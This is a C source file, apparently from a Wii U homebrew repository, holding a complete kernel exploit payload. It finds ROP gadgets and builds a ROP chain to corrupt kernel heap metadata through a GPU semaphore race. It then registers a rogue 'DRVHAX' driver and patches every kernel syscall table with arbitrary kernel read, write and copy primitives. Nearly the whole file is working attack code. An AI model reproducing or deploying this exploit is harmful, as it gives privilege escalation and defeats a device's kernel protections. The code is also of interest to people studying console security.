JsTypeHax_payload/kexploit.c
2019-01-13 14:13:02 +01:00

412 lines
16 KiB
C

#include "common.h"
#include "kexploit.h"
extern void SCKernelCopyData(unsigned int addr, unsigned int src, unsigned int len);
/* Initial setup code stolen from Pong, makes race much more reliable */
void run_kexploit(private_data_t *private_data)
{
/* Get a handle to coreinit.rpl and gx2.rpl */
unsigned int coreinit_handle = private_data->coreinit_handle;
unsigned int gx2_handle = 0;
OSDynLoad_Acquire("gx2.rpl", &gx2_handle);
//needed to not destroy screen
//doBrowserShutdown(coreinit_handle);
/* Exit functions */
void (*__PPCExit)();
void (*_Exit)(int);
OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit);
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit);
/* Memory functions */
void (*DCFlushRange)(void *buffer, uint32_t length);
void (*DCInvalidateRange)(void *buffer, uint32_t length);
void (*DCTouchRange)(void *buffer, uint32_t length);
uint32_t (*OSEffectiveToPhysical)(void *vaddr);
void* (*OSAllocFromSystem)(uint32_t size, int align);
void (*OSFreeToSystem)(void *ptr);
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange);
OSDynLoad_FindExport(coreinit_handle, 0, "DCTouchRange", &DCTouchRange);
OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &OSEffectiveToPhysical);
OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem);
/* OS thread functions */
bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int priority, uint16_t attr);
int (*OSResumeThread)(void *thread);
void (*OSExitThread)();
int (*OSIsThreadTerminated)(void *thread);
void (*OSYieldThread)(void);
OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated);
OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread);
/* OSDriver functions */
uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020};
uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit);
uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020};
uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit);
uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020};
uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit);
uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020};
uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit);
/* GX2 functions */
void (*GX2SetSemaphore)(uint64_t *sem, int action);
void (*GX2Flush)(void);
void (*GX2Shutdown)(void);
void (*GX2Init)(void *arg);
OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", &GX2SetSemaphore);
OSDynLoad_FindExport(gx2_handle, 0, "GX2Flush", &GX2Flush);
OSDynLoad_FindExport(gx2_handle, 0, "GX2Init", &GX2Init);
OSDynLoad_FindExport(gx2_handle, 0, "GX2Shutdown", &GX2Shutdown);
//GX2Init(0);
/* Allocate space for DRVHAX */
uint32_t *drvhax = OSAllocFromSystem(0x4c, 4);
/* Set the kernel heap metadata entry */
uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE));
metadata[0] = (uint32_t)drvhax;
metadata[1] = (uint32_t)-0x4c;
metadata[2] = (uint32_t)-1;
metadata[3] = (uint32_t)-1;
/* Find some gadgets */
uint32_t gx2data[] = {0xfc2a0000};
uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000);
uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020};
uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, 0x01000000);
uint32_t r30r31load[] = {0x80010014, 0x83e1000c, 0x7c0803a6, 0x83c10008, 0x38210010, 0x4e800020};
uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, 0x01000000);
uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024};
uint32_t doflush_addr = (uint32_t) find_gadget(doflush, 0x2C, 0x01000000) + 0x14 + 0x18;
/* Modify a next ptr on the heap */
uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET;
/* Make a thread to modify the semaphore */
OSContext *thread = (OSContext*)private_data->MEMAllocFromDefaultHeapEx(0x1000, 8);
uint32_t *stack = (uint32_t*)private_data->MEMAllocFromDefaultHeapEx(0xA0, 0x20);
if (!OSCreateThread(thread, (void*)0x11a1dd8, 0, NULL, ((uint32_t)stack) + 0xA0, 0xA0, 0, 0x1 | 0x8)) {
OSFatal("Failed to create thread");
}
/* Set up the ROP chain */
thread->gpr[1] = (uint32_t)stack;
thread->gpr[3] = kpaddr;
thread->gpr[30] = gx2data_addr;
thread->gpr[31] = 1;
thread->srr0 = ((uint32_t)GX2SetSemaphore) + 0x2C;
stack[0x24/4] = r30r31load_addr; /* Load r30/r31 - stack=0x20 */
stack[0x28/4] = gx2data_addr; /* r30 = GX2 data area */
stack[0x2c/4] = 1; /* r31 = 1 (signal) */
stack[0x34/4] = r3r4load_addr; /* Load r3/r4 - stack=0x30 */
stack[0x38/4] = kpaddr;
stack[0x44/4] = ((uint32_t)GX2SetSemaphore) + 0x2C; /* GX2SetSemaphore() - stack=0x40 */
stack[0x64/4] = r30r31load_addr; /* Load r30/r31 - stack=0x60 */
stack[0x68/4] = 0x100; /* r30 = r3 of do_flush = 0x100 */
stack[0x6c/4] = 1; /* r31 = r4 of do_flush = 1 */
stack[0x74/4] = doflush_addr; /* do_flush() - stack=0x70 */
stack[0x94/4] = (uint32_t)OSExitThread;
DCFlushRange(thread, 0x1000);
DCFlushRange(stack, 0x1000);
/* Start the thread */
OSResumeThread(thread);
/* Wait for a while */
while(OSIsThreadTerminated(thread) == 0) {
OSYieldThread();
}
/* Free stuff */
private_data->MEMFreeToDefaultHeap(thread);
private_data->MEMFreeToDefaultHeap(stack);
/* Register a new OSDriver, DRVHAX */
char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'};
Register(drvname, 6, NULL, NULL);
/* Use DRVHAX to install the read and write syscalls */
uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE};
/* Modify its save area to point to the kernel syscall table */
drvhax[0x44/4] = KERN_SYSCALL_TBL_1 + (0x34 * 4);
CopyToSaveArea(drvname, 6, syscalls, 8);
drvhax[0x44/4] = KERN_SYSCALL_TBL_2 + (0x34 * 4);
CopyToSaveArea(drvname, 6, syscalls, 8);
drvhax[0x44/4] = KERN_SYSCALL_TBL_3 + (0x34 * 4);
CopyToSaveArea(drvname, 6, syscalls, 8);
drvhax[0x44/4] = KERN_SYSCALL_TBL_4 + (0x34 * 4);
CopyToSaveArea(drvname, 6, syscalls, 8);
drvhax[0x44/4] = KERN_SYSCALL_TBL_5 + (0x34 * 4);
CopyToSaveArea(drvname, 6, syscalls, 8);
/* Clean up the heap and driver list so we can exit */
kern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0);
kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]);
// Install CopyData syscall
kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x25 * 4)), (unsigned int)SCKernelCopyData);
kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x25 * 4)), (unsigned int)SCKernelCopyData);
kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x25 * 4)), (unsigned int)SCKernelCopyData);
kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x25 * 4)), (unsigned int)SCKernelCopyData);
kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x25 * 4)), (unsigned int)SCKernelCopyData);
}
void wait(unsigned int coreinit_handle, unsigned int t) {
void (*OSYieldThread)(void);
OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread);
while(t--) {
OSYieldThread();
}
}
void doBrowserShutdown(unsigned int coreinit_handle) {
void*(*memset)(void *dest, uint32_t value, uint32_t bytes);
void*(*OSAllocFromSystem)(uint32_t size, int align);
void (*OSFreeToSystem)(void *ptr);
int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b);
int(*IM_Close)(int fd);
int(*IM_Open)();
OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset);
OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem);
OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState);
OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close);
OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open);
//Restart system to get lib access
int fd = IM_Open();
void *mem = OSAllocFromSystem(0x100, 64);
memset(mem, 0, 0x100);
//set restart flag to force quit browser
IM_SetDeviceState(fd, mem, 3, 0, 0);
IM_Close(fd);
OSFreeToSystem(mem);
//wait a bit for browser end
wait(coreinit_handle, 0x3FFFF*0x4);
}
/* Simple memcmp() implementation */
int memcmp(void *ptr1, void *ptr2, uint32_t length) {
uint8_t *check1 = (uint8_t*) ptr1;
uint8_t *check2 = (uint8_t*) ptr2;
uint32_t i;
for (i = 0; i < length; i++) {
if (check1[i] != check2[i])
return 1;
}
return 0;
}
void* memcpy(void* dst, const void* src, uint32_t size) {
uint32_t i;
for (i = 0; i < size; i++)
((uint8_t*) dst)[i] = ((const uint8_t*) src)[i];
return dst;
}
/* Find a gadget based on a sequence of words */
void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start) {
uint32_t *ptr;
/* Search code before JIT area first */
for (ptr = (uint32_t*) gadgets_start; ptr != (uint32_t*) JIT_ADDRESS; ptr++) {
if (!memcmp(ptr, &code[0], length))
return ptr;
}
/* Restart search after JIT */
for (ptr = (uint32_t*) CODE_ADDRESS_START; ptr != (uint32_t*) CODE_ADDRESS_END; ptr++) {
if (!memcmp(ptr, &code[0], length))
return ptr;
}
OSFatal("Gadget not found!");
return (void*)0;
}
/* Read a 32-bit word with kernel permissions */
uint32_t __attribute__ ((noinline)) kern_read(const void *addr) {
uint32_t result;
asm volatile (
"li 3,1\n"
"li 4,0\n"
"li 5,0\n"
"li 6,0\n"
"li 7,0\n"
"lis 8,1\n"
"mr 9,%1\n"
"li 0,0x3400\n"
"mr %0,1\n"
"sc\n"
"nop\n"
"mr 1,%0\n"
"mr %0,3\n"
: "=r"(result)
: "b"(addr)
: "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
"11", "12"
);
return result;
}
/* Write a 32-bit word with kernel permissions */
void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value) {
asm volatile (
"li 3,1\n"
"li 4,0\n"
"mr 5,%1\n"
"li 6,0\n"
"li 7,0\n"
"lis 8,1\n"
"mr 9,%0\n"
"mr %1,1\n"
"li 0,0x3500\n"
"sc\n"
"nop\n"
"mr 1,%1\n"
:
: "r"(addr), "r"(value)
: "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
"11", "12"
);
}
void KernelWrite(uint32_t addr, const void *data, uint32_t length, private_data_t * pdata) {
// This is a hacky workaround, but currently it only works this way. ("data" is always on the stack, so maybe a problem with mapping values from the JIT area?)
// further testing required.
for(int i = 0; i<length; i +=4) {
KernelWriteU32(addr + i, *(uint32_t*)(data +i), pdata);
}
}
void KernelWriteU32(uint32_t addr, uint32_t value, private_data_t * pdata) {
pdata->ICInvalidateRange(&value, 4);
pdata->DCFlushRange(&value, 4);
uint32_t dst = (uint32_t) pdata->OSEffectiveToPhysical((void *)addr);
uint32_t src = (uint32_t) pdata->OSEffectiveToPhysical((void *)&value);
SC_KernelCopyData(dst, src, 4);
pdata->DCFlushRange((void *)addr, 4);
pdata->ICInvalidateRange((void *)addr, 4);
}
void KernelWriteU32FixedAddr(uint32_t addr, uint32_t value, private_data_t * pdata) {
pdata->ICInvalidateRange(&value, 4);
pdata->DCFlushRange(&value, 4);
uint32_t dst = (uint32_t) addr;
uint32_t src = (uint32_t) pdata->OSEffectiveToPhysical((void *)&value);
SC_KernelCopyData(dst, src, 4);
}
static void C_KernelCopyData(unsigned int addr, unsigned int src, unsigned int len) {
/*
* Setup a DBAT access with cache inhibited to write through and read directly from memory
*/
unsigned int dbatu0, dbatl0, dbatu1, dbatl1;
// save the original DBAT value
asm volatile("mfdbatu %0, 0" : "=r" (dbatu0));
asm volatile("mfdbatl %0, 0" : "=r" (dbatl0));
asm volatile("mfdbatu %0, 1" : "=r" (dbatu1));
asm volatile("mfdbatl %0, 1" : "=r" (dbatl1));
unsigned int target_dbatu0 = 0;
unsigned int target_dbatl0 = 0;
unsigned int target_dbatu1 = 0;
unsigned int target_dbatl1 = 0;
unsigned char *dst_p = (unsigned char*)addr;
unsigned char *src_p = (unsigned char*)src;
// we only need DBAT modification for addresses out of our own DBAT range
// as our own DBAT is available everywhere for user and supervisor
// since our own DBAT is on DBAT5 position we don't collide here
if(addr < 0x00800000 || addr >= 0x01000000) {
target_dbatu0 = (addr & 0x00F00000) | 0xC0000000 | 0x1F;
target_dbatl0 = (addr & 0xFFF00000) | 0x32;
asm volatile("mtdbatu 0, %0" : : "r" (target_dbatu0));
asm volatile("mtdbatl 0, %0" : : "r" (target_dbatl0));
dst_p = (unsigned char*)((addr & 0xFFFFFF) | 0xC0000000);
}
if(src < 0x00800000 || src >= 0x01000000) {
target_dbatu1 = (src & 0x00F00000) | 0xB0000000 | 0x1F;
target_dbatl1 = (src & 0xFFF00000) | 0x32;
asm volatile("mtdbatu 1, %0" : : "r" (target_dbatu1));
asm volatile("mtdbatl 1, %0" : : "r" (target_dbatl1));
src_p = (unsigned char*)((src & 0xFFFFFF) | 0xB0000000);
}
asm volatile("eieio; isync");
unsigned int i;
for(i = 0; i < len; i++) {
// if we are on the edge to next chunk
if((target_dbatu0 != 0) && (((unsigned int)dst_p & 0x00F00000) != (target_dbatu0 & 0x00F00000))) {
target_dbatu0 = ((addr + i) & 0x00F00000) | 0xC0000000 | 0x1F;
target_dbatl0 = ((addr + i) & 0xFFF00000) | 0x32;
dst_p = (unsigned char*)(((addr + i) & 0xFFFFFF) | 0xC0000000);
asm volatile("eieio; isync");
asm volatile("mtdbatu 0, %0" : : "r" (target_dbatu0));
asm volatile("mtdbatl 0, %0" : : "r" (target_dbatl0));
asm volatile("eieio; isync");
}
if((target_dbatu1 != 0) && (((unsigned int)src_p & 0x00F00000) != (target_dbatu1 & 0x00F00000))) {
target_dbatu1 = ((src + i) & 0x00F00000) | 0xB0000000 | 0x1F;
target_dbatl1 = ((src + i) & 0xFFF00000) | 0x32;
src_p = (unsigned char*)(((src + i) & 0xFFFFFF) | 0xB0000000);
asm volatile("eieio; isync");
asm volatile("mtdbatu 1, %0" : : "r" (target_dbatu1));
asm volatile("mtdbatl 1, %0" : : "r" (target_dbatl1));
asm volatile("eieio; isync");
}
*dst_p = *src_p;
++dst_p;
++src_p;
}
/*
* Restore original DBAT value
*/
asm volatile("eieio; isync");
asm volatile("mtdbatu 0, %0" : : "r" (dbatu0));
asm volatile("mtdbatl 0, %0" : : "r" (dbatl0));
asm volatile("mtdbatu 1, %0" : : "r" (dbatu1));
asm volatile("mtdbatl 1, %0" : : "r" (dbatl1));
asm volatile("eieio; isync");
}